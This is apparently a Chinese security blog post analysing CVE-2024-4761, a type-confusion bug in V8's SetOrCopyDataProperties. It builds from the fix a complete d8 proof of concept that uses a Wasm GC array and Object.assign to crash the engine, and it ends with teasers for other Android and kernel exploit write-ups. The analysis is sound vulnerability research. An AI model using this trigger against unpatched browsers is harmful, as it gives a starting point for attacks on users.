0%

1. 前言

在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡,城墙高大坚固,把敌人挡在外面。你的城堡有唯一的入口,那就是一个重门深锁、有严格守卫检查的大门。然后,为了增加便利性,你决定在城堡的另一侧增加一个小门,方便城堡内的人快速出入。然而,你在增加这个新功能后,忘记了对这个小门进行同样严格的防御和检查。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查,通过这个没有守卫的小门轻易进入城堡。

本次要讲述的漏洞CVE-2024-4761就是城堡的小门: 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查.

本文着重于漏洞分析, 尝试从patch开始一步步构建出POC.

根据官方修复patch: https://chromium-review.googlesource.com/c/v8/v8/+/5527397, 我们可以得知: 该漏洞在f320600cd1f48ba6bb57c0395823fe0c5e5ec52e​这个commit中被修复, parent commit为66c0bd3237b1577e6291de56003f8fddc6b65b16​, 因此后续的源码分析都是基于parent commit进行的.

2. 背景知识

在进入漏洞分析之前, 我们首先需要了解一下相关函数

2.1 如何触发SetOrCopyDataProperties()

漏洞被认为是一个类型混淆, 位于SetOrCopyDataProperties()​方法中, 因此首先研究如何触发该函数

1
2
3
4
5
6
7
8
// 该函数用于读取source拥有的所有可枚举属性, 并且把他们添加到target中
// 使用Set还是CreateDataProperty依赖于use_set参数.
// 属于excluded_properties中的值不会被复制
V8_WARN_UNUSED_RESULT static Maybe<bool> SetOrCopyDataProperties(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties = nullptr,
bool use_set = true);

这个函数没有直接暴露给js态使用, 而是先被封装为Runtime方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
RUNTIME_FUNCTION(Runtime_SetDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSReceiver> target = args.at<JSReceiver>(0);
Handle<Object> source = args.at(1);

// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();
}

MAYBE_RETURN(JSReceiver::SetOrCopyDataProperties(
isolate, target, source,
PropertiesEnumerationMode::kEnumerationOrder),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();
}

RUNTIME_FUNCTION(Runtime_CopyDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSObject> target = args.at<JSObject>(0);
Handle<Object> source = args.at(1);

// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();
}

MAYBE_RETURN(
JSReceiver::SetOrCopyDataProperties(
isolate, target, source,
PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();

Runtime方法用于涉及到对象属性复制的slow path, 比如TF定义的builtinSetDataProperties​就会在GotoIfForceSlowPath()​或者fast path无法进行时时跳转到Runtime::kSetDataProperties​, 进入slow path的条件

  1. !(IsEmptyFixedArray(source_elements) && !IsEmptySlowElementDictionary(source_elements)​: source的elements不是空数组并且也不是空的dictionary, 那么就进入runtime
  2. IsJSReceiverInstanceType(source_instance_type)​: 如果是JSReceiver的衍生对象, 但不是JSObject, 那么就进入slow path处理
  3. IsDeprecatedMap(target_map)​: target的map被弃用, 此时写入target会触发target map更新, fast path无法处理
  4. EnsureOnlyHasSimpleProperties(source_map, type, bailout)
  5. IsJSReceiverInstanceType(source_instance_type)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
auto target = Parameter<JSReceiver>(Descriptor::kTarget);
auto source = Parameter<Object>(Descriptor::kSource);
auto context = Parameter<Context>(Descriptor::kContext);

Label if_runtime(this, Label::kDeferred);
// 强制进入slow path
GotoIfForceSlowPath(&if_runtime);
// 尝试fast path
SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
base::nullopt, true);
Return(UndefinedConstant());

BIND(&if_runtime);
TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}

一个比较简单的触发SetOrCopyDataProperties​的方式就是通过Object.assign()

  • Object.assign()​调用Builtin::kSetDataProperties
  • Builtin::kSetDataProperties​尝试fast path失败后进入Runtime::kSetDataProperties
  • Runtime::kSetDataProperties​调用到CPP方法SetOrCopyDataProperties()​中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
TNode<IntPtrT> argc = ChangeInt32ToIntPtr(
UncheckedParameter<Int32T>(Descriptor::kJSActualArgumentsCount));
CodeStubArguments args(this, argc);

auto context = Parameter<Context>(Descriptor::kContext);
TNode<Object> target = args.GetOptionalArgumentValue(0);

// 被写入的对象
TNode<JSReceiver> to = ToObject_Inline(context, target);

Label done(this);
// 只有一个参数, 直接返回
GotoIf(UintPtrLessThanOrEqual(args.GetLengthWithoutReceiver(),
IntPtrConstant(1)),
&done);

// 遍历assign()后续所有的参数, 对于每一个参数都调用Builtin::kSetDataProperties
args.ForEach(
[=](TNode<Object> next_source) {
CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
},
IntPtrConstant(1));
Goto(&done);

// 5. Return to.
BIND(&done);
args.PopAndReturn(to);
}

触发slow path进入SetOrCopyDataProperties()​的例子如下

1
2
3
4
5
6
7
// job(from)->elements非空, 进入`SetOrCopyDataProperties()`
let from = {};
from[0]=0;

let target = {};
Object.assign(target, from);
%SystemBreak();

2.2 SetOrCopyDataProperties()​的作用

下面分析一下SetOrCopyDataProperties()​的具体行为, 研究下具体是那部分出错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// static
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {

// 首先尝试cpp部分的fast赋值
Maybe<bool> fast_assign =
FastAssign(isolate, target, source, mode, excluded_properties, use_set);
if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);

// 获取要遍历属性的对象
Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();

// 获取from中所有属性的key(相当于elements和properties一起处理了)
Handle<FixedArray> keys;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, keys,
KeyAccumulator::GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,
ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),
Nothing<bool>());

// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {

int source_length; // source中属性的个数
if (IsJSGlobalObject(*from)) { // from是全局对象
source_length = JSGlobalObject::cast(*from)
->global_dictionary(kAcquireLoad)
->NumberOfEnumerableProperties();
} else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
source_length =
from->property_dictionary_swiss()->NumberOfEnumerableProperties();
} else { // from中是字典属性, 计算属性个数
source_length =
from->property_dictionary()->NumberOfEnumerableProperties();
}

// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}

// 遍历所有的属性
for (int i = 0; i < keys->length(); ++i) {
// 获取第i个属性的key对象 (属性的key也是一个js对象)
Handle<Object> next_key(keys->get(i), isolate);
if (excluded_properties != nullptr &&
HasExcludedProperty(excluded_properties, next_key)) {
continue;
}

// 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey).
// 获取该key的属性描述符
PropertyDescriptor desc;
Maybe<bool> found =
JSReceiver::GetOwnPropertyDescriptor(isolate, from, next_key, &desc);
if (found.IsNothing()) return Nothing<bool>();
// 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then
// 改属性为可枚举属性
if (found.FromJust() && desc.enumerable()) {
// 获取该属性的value对象
Handle<Object> prop_value;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, prop_value,
Runtime::GetObjectProperty(isolate, from, next_key), Nothing<bool>());

// 把属性写入target中
if (use_set) {
// 4c ii 2. Let status be ? Set(to, nextKey, propValue, true).
Handle<Object> status;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, status,
Runtime::SetObjectProperty(isolate, target, next_key, prop_value,
StoreOrigin::kMaybeKeyed,
Just(ShouldThrow::kThrowOnError)),
Nothing<bool>());
} else {
// 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue).
PropertyKey key(isolate, next_key);
CHECK(JSReceiver::CreateDataProperty(isolate, target, key, prop_value,
Just(kThrowOnError))
.FromJust());
}
}
}

return Just(true);
}

总结一下操作逻辑

  • 首先调用FastAssign()​尝试fast path处理, 失败后进入后续部分
  • 调用KeyAccumulator::GetKeys(from)​获取from​中的所有属性, 这里就elements和properties一起处理了
  • 清理fast properties: 如果from没有fast properties, 但是target有fast properties, 那么就会调用NormalizeProperties(target)​把target中的fast properties转换为字典实现
  • 后续遍历from中所有的属性, 写入target​中

FastAssign()​的退出条件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
V8_WARN_UNUSED_RESULT Maybe<bool> FastAssign(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {

// 非空字符串被认为是non-JSReceiver, 需要在Object.assign()中显示处理
if (!IsJSReceiver(*source)) {
return Just(!IsString(*source) || String::cast(*source)->length() == 0);
}
...

Handle<Map> map(JSReceiver::cast(*source)->map(), isolate);

// fast path只能处理source为JSObject的情况
if (!IsJSObjectMap(*map)) return Just(false);
// fast path只能处理source为simple properties的情况(非dictionary properties)
if (!map->OnlyHasSimpleProperties()) return Just(false);

// 只能处理source的elements为empty fixed array的情况
Handle<JSObject> from = Handle<JSObject>::cast(source);
if (from->elements() != ReadOnlyRoots(isolate).empty_fixed_array()) {
return Just(false);
}

// 至此: 只需要遍历from的properties array
Handle<DescriptorArray> descriptors(map->instance_descriptors(isolate),
isolate);

...
}
UNREACHABLE();
}
} // namespace

因此只要from的elements不是fixed empty array的, 那么FastAssign()​就会退出

3. 漏洞根因

根据漏洞修复的diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc
index c3f5d31..13b787f 100644
--- a/src/objects/js-objects.cc
+++ b/src/objects/js-objects.cc
@@ -434,9 +434,7 @@
Nothing<bool>());

if (!from->HasFastProperties() && target->HasFastProperties() &&
- !IsJSGlobalProxy(*target)) {
- // JSProxy is always in slow-mode.
- DCHECK(!IsJSProxy(*target));
+ IsJSObject(*target) && !IsJSGlobalProxy(*target)) {
// Convert to slow properties if we're guaranteed to overflow the number of
// descriptors.
int source_length;

问题出现在调用NormalizeProperties(target)​的逻辑上, 调用JSObject::NormalizeProperties()​前额外限制了target​必须是JSObject

  • 在打上这个Patch之前: 调用NormalizeProperties()​时会执行Handle<JSObject>::cast(target)​把target强制转换为JSObject​类型
  • 但是根据参数声明: Handle<JSReceiver> target​只能保证target​是JSReceiver
  • 因此Handle<JSObject>::cast(target)这个强制类型转换是不安全的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate,
Handle<JSReceiver> target, // <===
Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
...
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {

int source_length; // source中属性的个数
...

// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
...
}

JSReceiver​与JSObject​的区别如下, JSReceiverJSObject少了一个elements字段

1
2
3
4
5
6
7
extern class JSReceiver extends HeapObject {
properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;
}

extern class JSObject extends JSReceiver {
elements: FixedArrayBase;

因此: targetJSReceive的子类型, 但又不是JSObject类型时, 就会触发漏洞

根据out.gn/CVE-2024-4761/gen/torque-generated/instance-types.h​中的类继承关系, 满足条件的只有JS_PROXY_TYPE​, WASM_ARRAY_TYPE​, WASM_STRUCT_TYPE​三种类型.

1
2
3
4
5
6
7
8
9
10
11
  V(FIRST_JS_RECEIVER_TYPE, 290) \
V(FIRST_WASM_OBJECT_TYPE, 290) \
V(WASM_ARRAY_TYPE, 290) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=252&c=1 */\
V(WASM_STRUCT_TYPE, 291) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=249&c=1 */\
V(LAST_WASM_OBJECT_TYPE, 291) \
V(JS_PROXY_TYPE, 292) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-proxy.tq?l=5&c=1 */\
V(FIRST_JS_OBJECT_TYPE, 293) \
... // JSObject的子类
V(LAST_JS_OBJECT_TYPE, 2165) \
V(LAST_JS_RECEIVER_TYPE, 2165) \
V(LAST_HEAP_OBJECT_TYPE, 2165) \

看得出之前在编写SetOrCopyDataProperties()的代码时只考虑到了JS_PROXY_TYPE的情况, 所以进行了过滤, 但是后面添加WASM_ARRAY_TYPE, WASM_STRUCT_TYPE时没有考虑到SetOrCopyDataProperties(), 由此导致了漏洞

4. 构造POC

4.1 创建WasmArray​对象

那么如何构造出一个WasmArray​对象? 研究发现v8发现没有直接提供JS API来创建这个对象, 而且由于WASM GC是一个比较新的提案, 因此wat2wasm​这个工具目前也不支持array.new​这种语法, 因此只能通过wasm-module-builder​构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const prefix = "../../";

d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

let builder = new WasmModuleBuilder();

// 添加一个WasmArray类型, 元素类型为I32, 可变
let array = builder.addArray(kWasmI32, true);

builder.addFunction( // 添加名字为createArray的wasm函数
'createArray',
makeSig([kWasmI32], [kWasmExternRef]) // 函数签名: [kWasmI32]=>[kWasmExternRef]
).addBody([ // 生成函数体
kExprLocalGet, 0, // 栈上push局部变量0, 也就是函数kWasmI32类型的参数
kGCPrefix, kExprArrayNewDefault, array, // 创建array类型的数组, 元素为i32的默认值
kGCPrefix, kExprExternConvertAny, // 把wasm的值包装为Extern类型
]).exportFunc(); // 导出这个函数

let instance = builder.instantiate({}); // 构建wasm实例
let wasm = instance.exports; // 获取导入的函数
let array42 = wasm.createArray(42); // 42为wasm array的长度
%DebugPrint(array42);

构造出WasmArray​对象后就要想办法进入JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target)

4.2 进入SetOrCopyDataProperties()

对于Object.assign(...)

1
2
let from = {};
Object.assign(array42, from);

Object.assign()​调用Builtin::kSetDataProperties​ 处理, 但是fast path: SetOrCopyDataProperties()​就可以直接完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
auto target = Parameter<JSReceiver>(Descriptor::kTarget);
auto source = Parameter<Object>(Descriptor::kSource);
auto context = Parameter<Context>(Descriptor::kContext);

Label if_runtime(this, Label::kDeferred);
// 强制进入slow path
GotoIfForceSlowPath(&if_runtime);
// 尝试fast path
SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
base::nullopt, true);
Return(UndefinedConstant());

BIND(&if_runtime);
TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}

为了不进入SetOrCopyDataProperties()​, 只需要让job(from)->elements​非空这样就可以进入SetOrCopyDataProperties()

1
2
3
4
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;
Object.assign(array42, from);

4.3 触发NormalizeProperties()

进入SetOrCopyDataProperties()

  1. 只要from的elements非空, FastAssign()就无法处理, 进入slow path部分

  2. 首先要满足!from->HasFastProperties() && target->HasFastProperties()

    1. target->HasFastProperties()​恒成立, WasmArray::properties​为kEmptyFixedArray
    2. 想要满足!from->HasFastProperties()​, 只需要让from​的properties​通过字典实现即可
  3. source_length > kMaxNumberOfDescriptors​: 需要让from​中properties超过kMaxNumberOfDescriptors​个, 也就是1020​个, 那么就可以成功进入NormalizeProperties(..., target)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate,
Handle<JSReceiver> target, // <===
Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
// [1] 只要from的elements非空, FastAssign()就无法处理
Maybe<bool> fast_assign =
FastAssign(isolate, target, source, mode, excluded_properties, use_set);
if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);

...
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {

int source_length; // source中属性的个数
...

// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
...
}

因此这部分poc如下

1
2
3
4
5
6
7
8
9
10
11
12
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;

// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
from['p'+i] = i;
}

Object.assign(array42, from);

4.4 完整POC

最终下面这样的POC即可触发crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const prefix = "../../";

d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);

builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array,
kGCPrefix, kExprExternConvertAny,
]).exportFunc();

let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
%DebugPrint(array42);

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;

// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
from['p'+i] = i;
}

Object.assign(array42, from);
%SystemBreak();

crash如下

1
2
3
4
5
#
# Fatal error in ../../src/objects/map-inl.h, line 344
# Debug check failed: IsJSObjectMap(*this).
#
#

5. 总结

这个漏洞的根因在于支持WasmGC之后添加了新的对象类型, 导致与属性访问部分的老代码漏判.

实际上随着wasm模块的发展, 随之而来的漏洞源源不断. 对于漏洞挖掘工作提供了重要的启发: 一定关注新代码, 因为新的代码往往是最容易被攻击的部分. 他们在开发过程中必须格外留意,确保旧有的代码能够安全地处理新的代码。在我们的"城堡"上打开新的一扇"小门"时,我们必须谨记,绝不能忘记对这扇新开的"小门"进行严格的安全检查。

6. Reference

背景

GPU是终端设备负责图形化渲染的硬件,和CPU相比,它能更高效地并行计算。传统的PC端GPU可以通过PCIe接口在主板上热插拔,而在移动端,GPU往往和CPU集成在一块芯片上,再搭配负责网络通信的基带等配件,统一称为SoC。目前移动端市场占有率比较高的SoC有高通的骁龙系列处理器、联发科天玑系列处理器、华为海思处理器等。这些SoC的CPU部分都有统一规范的arm指令集,这保证了一套程序只需编译一次,在不同厂商的CPU上都能正确运行。但是这些厂商的GPU指令集却非常封闭,甚至有些没有公开的文档,每家厂商在自己的标准上发展了自己的生态,试图构建商业护城河。作为开发者如果需要根据每个硬件厂商定制不同的GPU操作逻辑,想必是一件非常复杂的事情,而事实上的安卓开发者,大多数情况下并不需要接和GPU进行交互,我们在绘制一个窗口、展示一张图片时,是通过调用安卓系统封装的统一接口实现。那安卓又是如何保证这么多硬件兼容性的呢?

阅读全文 »

背景

伴随着HarmonyOS NEXT的发布,华为实现了计算机领域三座大山的跨越:操作系统、处理器、编译器。其中HarmonyOS NEXT的编译器名叫arkcompiler,它的发布引起了编译、安全、程序分析等领域人员的广泛关注,我们阅读了arkcompiler的源码,进行了关键步骤的梳理,并绘制了相关流程图,供大家学习参考,如有错误还望批评指正。

阅读全文 »

Abstract

This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to the Mystique vulnerability discovered by the author years ago (which won the Pwnie Award for Best Privilege Escalation Bug), but each has its own merits.

阅读全文 »

本实验室使用syzkaller对linux-5.19-rc2版本的io_uring模块进行fuzz时, 在io_register_pbuf_ring()函数中发现了了一枚由于错误的异常处理导致的UAF漏洞, 通过slab跳跃与kernel unlink attack等技巧, 本文较为简单的堆环境下成功实现了提权. 但是目前该漏洞已经在5.19-rc8中被修复, 因此决定将该0day漏洞发现的过程与漏洞利用细节进行公布

阅读全文 »

Abstract

The Android Application Sandbox is the cornerstone of the Android Security Model, which protects and isolates each application’s process and data from the others. Attackers usually need kernel vulnerabilities to escape the sandbox, which by themselves proved to be quite rare and difficult due to emerging mitigation and attack surfaces tightened.

However, we found a vulnerability in the Android 11 stable that breaks the dam purely from userspace. Combined with other 0days we discovered in major Android vendors forming a chain, a malicious zero permission attacker app can totally bypass the Android Application Sandbox, owning any other applications such as Facebook and WhatsApp, reading application data, injecting code or even trojanize the application ( including unprivileged and privileged ones ) without user awareness. We named the chain "Mystique" after the famous Marvel Comics character due to the similar ability it possesses.

In this talk we will give a detailed walk through on the whole vulnerability chain and bugs included. On the attack side, we will discuss the bugs in detail and share our exploitation method and framework that enables privilege escalation, transparently process injection/hooking/debugging and data extraction for various target applications based on Mystique, which has never been talked about before. On the defense side, we will release a detection SDK/tool for app developers and end users since this new type of attack differs from previous ones, which largely evade traditional analysis.

阅读全文 »

摘要

Android 应用程序沙箱是 Android 安全模型的基石,它保护并隔离每个应用程序的进程和数据。攻击者通常需要内核漏洞来逃离沙箱,由于新兴的缓解措施和攻击面收紧,这本身被证明是非常罕见和困难的。

但是,我们在 Android 11 稳定版中发现了一个漏洞,该漏洞完全来自用户空间。结合我们在主要Android供应商中发现的其他0day形成链,恶意零权限攻击者应用程序可以完全绕过Android应用程序沙箱,拥有Facebook和WhatsApp等任何其他应用程序,在用户无意识的情况下,读取应用程序数据,注入代码甚至木马化应用程序(包括非特权和特权的)。我们以著名的漫威漫画角色命名该连锁店“Mystique”,因为它拥有类似的能力。

在本次演讲中,我们将详细介绍整个漏洞链和包含的错误。在攻击方面,我们将详细讨论漏洞并分享我们的利用方法和框架,该方法和框架可以实现基于 Mystique 的各种目标应用程序的权限提升、透明进程注入/挂钩/调试和数据提取,这是以前从未讨论过的。在防御方面,我们将为应用程序开发人员和最终用户发布检测 SDK/工具,因为这种新型攻击与以前的攻击不同,很大程度上规避了传统分析。

阅读全文 »